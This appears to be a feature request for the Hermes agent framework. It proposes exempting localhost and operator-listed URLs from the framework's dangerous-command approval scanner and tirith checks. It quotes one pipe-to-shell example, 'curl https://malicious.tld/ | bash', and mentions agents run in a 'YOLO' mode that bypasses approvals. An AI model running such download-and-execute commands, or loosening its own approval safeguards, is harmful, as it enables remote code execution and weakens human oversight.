hermes - 💡(How to fix) Fix Feature request: `security.trusted_url_prefixes` config with 127.0.0.1/::1 default-allowed for approval.py + tirith scanners

Summary

Add a security.trusted_url_prefixes config option in ~/.hermes/config.yaml that exempts specific URL prefixes from tools/approval.py DANGEROUS_PATTERNS scanning and from tirith scans. Default-allow http://127.0.0.1/, https://127.0.0.1/, http://localhost/, https://localhost/, http://[::1]/, https://[::1]/.

Why

An agent talking to its own gateway, a local Paperclip API, a local MCP server, etc. should not need explicit operator action to access loopback addresses. Network-layer trust is already there: nothing outside the local machine can reach 127.0.0.1. The security scanners' main job is preventing attacks via untrusted EXTERNAL URLs (curl https://malicious.tld/ | bash) — they have no business gating loopback calls.

Today, when a Hermes agent in gateway mode needs to call its own host's API (e.g. Paperclip on http://localhost:3100/), approval.py flags any curl ... | python3 pattern that includes a localhost URL, and the operator must either disable approval scanning globally (security regression) or configure per-pattern allowlists (operationally fragile).

Proposed shape

security:
  trusted_url_prefixes:
    # Default-allowed loopback (auto-injected if not overridden):
    - http://127.0.0.1/
    - https://127.0.0.1/
    - http://localhost/
    - https://localhost/
    - http://[::1]/
    - https://[::1]/
    # Operator extensions for trusted external endpoints:
    - https://paperclip.internal.sparkeros.com/

When a command contains a URL whose scheme+host+port-prefix matches an entry in this list, approval.py's DANGEROUS_PATTERNS scan + tirith's URL fetch checks are skipped for that URL. The pipe-to-interpreter rule still fires if the COMMAND has pipe-to-interpreter shape — but for trusted URLs only, the URL substring is no longer a scoring factor.

For backward compatibility: existing installs with no trusted_url_prefixes set inherit the loopback defaults automatically. Operators who want stricter behavior can set trusted_url_prefixes: [] to disable.

Why "loopback default-allow" matters

Without this default, every new Hermes install regresses to "shell commands hitting localhost are blocked by default" — which is wrong: nothing on the network can reach localhost, so the threat model that DANGEROUS_PATTERNS protects against doesn't apply.

Related

• tools/approval.py — DANGEROUS_PATTERNS
• hermes_cli/security_advisories.py — tirith integration
• Filed in context of paperclipai/paperclip integration diagnostic 2026-05-20 where every Paperclip-driven Hermes agent needed HERMES_YOLO_MODE=1 to access its own gateway's Paperclip API on localhost:3100

Submitted with assistance from Claude Opus 4.7 via Claude Code.